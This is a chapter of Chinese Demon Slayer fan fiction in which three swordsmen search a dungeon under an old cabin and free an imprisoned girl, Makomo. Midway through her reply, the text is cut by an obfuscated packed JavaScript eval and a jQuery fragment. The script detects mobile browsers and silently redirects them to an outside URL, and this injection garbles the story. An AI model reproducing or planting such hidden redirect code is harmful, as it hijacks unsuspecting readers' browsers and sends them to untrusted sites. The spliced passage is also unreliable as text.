小木屋伫立在夜晚的别院中,即使是光线不太明亮的现在,也能够看出:这是一间年代久远的房子。
歪斜的屋顶、各处都是小洞的墙壁、走进去就可以闻到浓厚灰尘味,甚至让人怀疑里面摆放的木柴早就受潮无法顺利燃烧。
银转悠了一圈,惊喜地发现这间小木屋和她家的大小差不多。
转念一想,这似乎并不是件值得惊喜的事情。
“我是不是该买个房子了……”老是住旅馆或者蝶屋似乎也不是个办法,得找个落地之处。
银对着地板敲敲打打,思考起无关紧要的事情来。
“在鳞泷先生附近不是很好吗?”回答她的是锖兔,这个家伙正在盘算用鳞泷先生附近的哪块地。
“茑子姐姐同村也可以。”义勇认为这是个非常方便他回家探亲的操作,打算这次任务结束就去实施。
银把头贴在地板上,聆听地下是否有什么动静,不满意两人的回答:“我想要个完全属于自己的地盘。”
“完全属于自己……你还不如买座山自封为山大王。”锖兔搬开木柴寻找有无机关,顺口说了句。
“这个操作也太费钱了吧……”要一整座山干嘛?银耳朵一动,地下似乎有动静,但不太清晰,一阵一阵的。
“山大王……”
义勇想象了一下银站在山顶,穿着一身野兽皮毛,抱着手臂哈哈大笑,身后站着自己和锖兔的模样,脸色不由得灰暗下来。
“不会成为的,别真去想啊……”银接收到义勇的灰暗气场,否认道。
地面之下的声音,又开始响了起来。
咚咚。
咚咚。
咚咚。
仿佛有谁在拼命敲着什么东西一样,声音异常急切。
如果这是谁的求救信息,现在就没有悠闲寻找入口的时间了。
银迅速拔出日轮刀,她深吸一口气,光线昏暗的房间内,她日轮刀身浮现的水银状波纹成为了最为明亮的一道光。
“银之呼吸,叁之型,分流刺!”
几道看似柔软的波纹以银为中心,完全刺穿她脚下所踩的地面,啪嗒一声,银整个人就从房间中消失了。
原地只留下被剑技惊起的灰尘,和一个可供人通过的大洞。
义勇和锖兔趴在洞的边缘,对银喊话:“银,你还在吗?”
往洞里面望去,一片漆黑,什么东西都看不到,甚至都不知道究竟有多深。
几秒后,一束小火苗点燃了黑暗,银的脸在火苗之后若隐若现:“这里似乎是个地牢,我只看到几个没人的牢房,你们下来吧。”
义勇点头,整个人毫不犹豫地跳了下去。
锖兔等义勇下去后,观察了一圈周围,没有听到任何往这里赶来的脚步声:“山田先生说得是真的啊……无论晚上发生了什么动静,都不会有人跑出来看。”
想必是非常害怕如果自己出来看了,失踪者名单里就会多出一个自己吧。
他下意识摇了摇头,顺手拿上一旁的煤油灯,也一溜烟跳入了洞穴。
锖兔的加入,使周围的一切都变得清晰可见。
不过最先给人留下深刻印象的,还是地下浑浊的空气。每吸入一口,都仿佛在喝入灰尘、腐烂的垃圾以及铁锈味混合在一起的浓汤。
如银所说,这里似乎是用来关押人类的牢房。以生锈的铁杆为划分点,将待在一片空间的人分成了自由和囚禁两种状态。
所幸,他们目前看到牢房中,没有任何一个人类被囚于其中。
地下的区域远比地上看到的小木屋规模要大,灰绿色的空间向前远远延伸,银所踩踏的地道向她发出前进的邀请。
急切的敲击声在她进来的那一刻停止了,是晚来了一步吗?或者说,那敲击声只是为了诱惑他们不管不顾地到地下来?
不管如何,都只能前进了。
三人对视一眼,由银提灯走在最前面,义勇在中间,锖兔则殿后。
幽微的黄色光芒只能照亮他们身前的一步左右,银高高举着煤油灯,另一只手按在入鞘的日轮刀柄上,左右观察周围的牢房。
一排排无人的铁格子空间,如同要无限延伸到地下的尽头般。
堀川家有这么多仆人可以关押吗?
怕不是整个宅邸的地下空间都被改造成了这样。
左边,无人的牢房。
右边,无人的牢房。
不断向前走着,收入耳中的只有鞋底与地面发出的摩擦声、行走时日轮刀的轻微响动,以及身后两位的呼吸声。
无人的牢房、无人的牢房、无人的牢房、无人的牢房……
过于安静的空间,反而让人感到紧张。银和两位同门尽量放轻呼吸,提防着随时可能会出现的食人鬼。
无人的牢房、摩擦声、两人的呼吸声。
无人的牢房、摩擦声、两人的呼吸声。
无人的牢房、有着一双绿色眼睛的牢房、摩擦声、三人的呼吸声。
银脚步停了下来,她猛地把煤油灯移向右手边。
橘色光芒照亮了牢房的一小块区域,绿色眼眸的主人向后缩了缩,看起来似乎是个小孩子,脸颊和衣服脏兮兮的,身体很瘦弱。
是被关在这里的人类!
银单手搭在铁杆上,惊得绿眼小孩又往后缩了缩。
“你是被堀川家的人关在这里的吗?你叫什么名字?别担心,我们救你出来。”
她用力晃了晃牢门,门上的铁链清晰地展现存在感,整个地下回荡着金属撞击的声响。义勇和锖兔一左一右站在银身边,警戒地提防着周围。
打不开,没想到生锈的铁牢还能如此坚固。
银再次拔出日轮刀。
“比起我……我对面的那个叔叔更危险。他闭上眼睛,好久没有醒来过了。”
绿眼小孩抱着膝盖,直到出声后,他们才意识到这是个小女孩。
银斩断铁链后,向小孩的对面看去,昏暗的地上似乎有个倒下的身影,不过不太明显,加上没有呼吸声,很容易就会被忽略过去。
好久没有醒来过……很有可能已经去世了。
银与绿眼女孩对视,见她眼中全是对对面男人的担心,咽下了这句话。
锖兔快银一步,斩落了对面牢房的锁链,推开门走了进去。
银向绿眼女孩伸手,牵着她走了出来。
“我叫银,这是我的朋友:义勇和锖兔。你叫什么名字?为什么会在这里?”
她走路的姿势有些踉跄,出来后,银才发现她居然到自己肩膀差不多高,似乎是同龄人。
银看不太懂绿眼女孩的神情,只觉得她整个人有些飘忽,说话的声音也轻柔到仿佛下一秒就被吹走了。
“真菰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273385|196385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我叫真菰,父母在这里做佣人……他们不久前去世后,我来这里想要找回他们的遗体,不知道为什么,再次醒来后,我就被关在这里了。”
她不记得自己被关了几天,也不知道为什么会被关在这里,偶尔几天会有人来给她送饭,但频率很少,无论真菰怎么搭话,都不会回应她。
被关在地下的这几天,她一直忍不住在想:父母是否也被关在这里好几天,直到死去都没能再次见到太阳。
而自己,应该也与太阳无缘了。
她对面的男人是资历比她要老的前辈,也许是太饿了,醒过来的次数屈指可数,真菰能做的就是每天望着他的牢房发呆、偶尔敲一下牢门试图让男人醒来。
锖兔偷偷给银和义勇比了个手势,示意对面牢房的男人已经彻底没了呼吸。
银拍了拍真菰的肩膀:“我带你离开这里,你还有地方可以去吗?还有足够的钱生活吗?”
先把真菰送出堀川家,不能让她继续被关在这里了。
真菰摇摇头:“前辈……我对面的那个人怎么样了?还活着吗?我刚刚敲了好几下牢门,他都没有醒来过。以前他至少会醒来和我说说话的……”
原来银听到的动静是真菰发出来的。
“很遗憾……他已经没有呼吸了。”
锖兔的回答成功让真菰低下了头,银又拍了拍她。
“你除了这个男人和给你送饭的人,还见过其他人吗?或者说,有见过谁被吃掉吗?”
“吃掉……?”真菰不是很明白义勇的提问,疑惑地重复。
“我没有见过其他人……”
银并没有发现她撒谎的痕迹,看来真菰真的什么都不知道。
“我先送你出去,义勇,锖兔,我很快就回来。”
她一把抱起真菰,真菰被吓了一跳,深绿色的眼眸微微睁大。
两位同门对银点点头,同样认为应该先把人类送出去。
真菰悄悄拉了拉银的衣服:“这里会出现吃人的怪物吗?我的父母……是不是也是被怪物吃掉的?你们接下来要和怪物战斗吗?”
明明什么都没有向真菰解释,却被她猜的七七八八,看来她是位头脑非常敏锐的存在。
银点头又摇头:“我不知道你父母的死因是什么,没有办法回答你。可以肯定的是,你留在这里很危险。”
银十分有九分可以确定真菰的父母是被食人鬼吃掉的,但她没有确切的证据,就不会随意说些不负责的话。
真菰放下了手,轻轻点了点头:“你们要小心。”
银对她露出了一个浅淡的微笑:“放心吧。”
说完,刚打算离开这里时,他们四人同时听到了由远及近的脚步声。
那脚步声在安静地环境中十分明显,并且丝毫没有隐藏自己的意思,大大咧咧朝着他们的方向而来。
银放下真菰,让她站在自己身后,与锖兔义勇一同背对背,三人把真菰围在了中间。
三把日轮刀同时出鞘,泛着寒意的刀身上,隐隐约约倒映出一个由远及近的身影。
啪嗒啪嗒。
脚步声中断了一瞬,随后又向保持原先的节奏响了起来。
啪嗒啪嗒。
人影慢悠悠走到了几人的面前,站定,目光锁定了几人中的其中一位,语气冷淡地发问:
“你为什么会在这里?”